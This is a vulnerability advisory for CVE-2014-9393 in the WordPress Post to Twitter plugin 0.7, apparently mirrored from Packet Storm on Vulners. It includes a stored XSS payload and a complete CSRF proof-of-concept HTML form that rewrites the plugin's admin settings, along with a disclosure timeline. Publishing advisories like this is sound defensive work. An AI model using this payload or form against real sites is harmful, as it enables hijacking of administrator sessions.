Lucene search

K

WordPress Twitter 0.7 CSRF / XSS

πŸ—“οΈΒ 18 Dec 2014Β 00:00:00Reported byΒ Manideep KTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstormsecurity.comπŸ‘Β 39Β Views

Wordpress Twitter 0.7 CSRF / XSS vulnerability in Post to Twitter Plugin

Show more
Related
Code
ReporterTitlePublishedViews
Family
Prion
Cross site request forgery (csrf)
31 Dec 201421:59
–prion
CVE
CVE-2014-9393
31 Dec 201421:59
–cve
Patchstack
WordPress WP to Twitter Plugin <= 0.7 - Multiple CSRF and XSS
17 Dec 201400:00
–patchstack
WPVulnDB
Post to Twitter <= 0.7 - CSRF & XSS
20 Dec 201400:00
–wpvulndb
NVD
CVE-2014-9393
31 Dec 201421:59
–nvd
Cvelist
CVE-2014-9393
31 Dec 201421:00
–cvelist
`**************************************************************************************  
# Title: CSRF / Stored XSS Vulnerability in Post to Twitter Wordpress Plugin   
# Author: Manideep K  
# CVE-ID: CVE-2014-9393   
# Plugin Homepage: https://wordpress.org/plugins/post-to-twitter/  
# Version Affected: 0.7 (probably lower versions)  
# Severity: High   
  
# Description:   
Vulnerable Parameter: all three fields, to name one - idptt_twitter_username   
Vulnerability Class:   
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29   
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))   
  
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, adminΒ’s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.   
  
# Steps to Reproduce: (POC):  
After installing the plugin  
1. Goto settings -> Post to Twitter  
2. Insert this payload Β“ "><script>alert(32)</script> Β“ into any/all the fields  
Update options and see XSS in action  
3. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.   
  
Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below  
  
<html>  
<body>  
<form action="http://localhost/wordpress/wp-admin/options-general.php" method="POST">  
<input type="hidden" name="idptt_twitter_username" value=" csrf baby" />  
<input type="hidden" name="idptt_twitter_password" value="123@admiN" />  
<input type="hidden" name="idptt_tweet_prefix" value="hey testt - this is also xss ed " />  
<input type="hidden" name="idptt_notify_twitter" value="1" />  
<input type="hidden" name="ak_action" value="idptt_update_settings" />  
<input type="hidden" name="submit" value="Update Post to Twitter Options" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
# Mitigation:   
Plugin Closed  
  
# Disclosure:  
2014-11-06: Author notification  
2014-11-20: WP Team action taken by closing the plugin as there is no response from author  
2014-12-09: Public Disclosure  
  
# Credits:  
Manideep K  
Information Security Researcher  
https://in.linkedin.com/in/manideepk  
***************************************************************************************  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. ContactΒ us for a demo andΒ discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo